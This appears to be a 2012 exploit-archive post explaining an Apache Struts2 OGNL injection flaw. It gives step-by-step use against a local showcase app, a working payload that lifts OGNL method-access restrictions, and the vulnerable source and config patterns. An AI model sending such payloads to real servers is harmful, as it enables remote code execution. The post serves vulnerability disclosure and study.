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Apache Struts2 Remote Code Execution

Apache Struts2 Remote Code Execution
Posted Aug 22, 2012
Authored by kxlzx

This is some demonstration code that explains methods of remote code execution in Apache Struts2.

tags | exploit, remote, code execution
SHA-256 | 95aa97a6a49a06c15fe3bd11a797cecad1606abd0dc4f24592788de224974e50

Apache Struts2 Remote Code Execution

Change Mirror Download
this method was published at xcon2012 xcon.xfocus.net.
kxlzx http://www.inbreak.net

flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3, open url:
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
4, write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
5, submit and all will done.

this method:
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
}
look two char "$" and "%"

and
this method:

public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
for (char open : openChars) {
.........
while (true) {
..........
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
............
if user input is "%{expr}"
this will execute ognl like:
${%{expr}}

this need devloper code like:

<action name="redirect" class="net.inbreak.RedirectAction">
<result name="redirect" type="redirect">${redirectUrl}</result>
</action>

or like:
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

----------
kxlzx at alibaba security team.
my blog :http://www.inbreak.net
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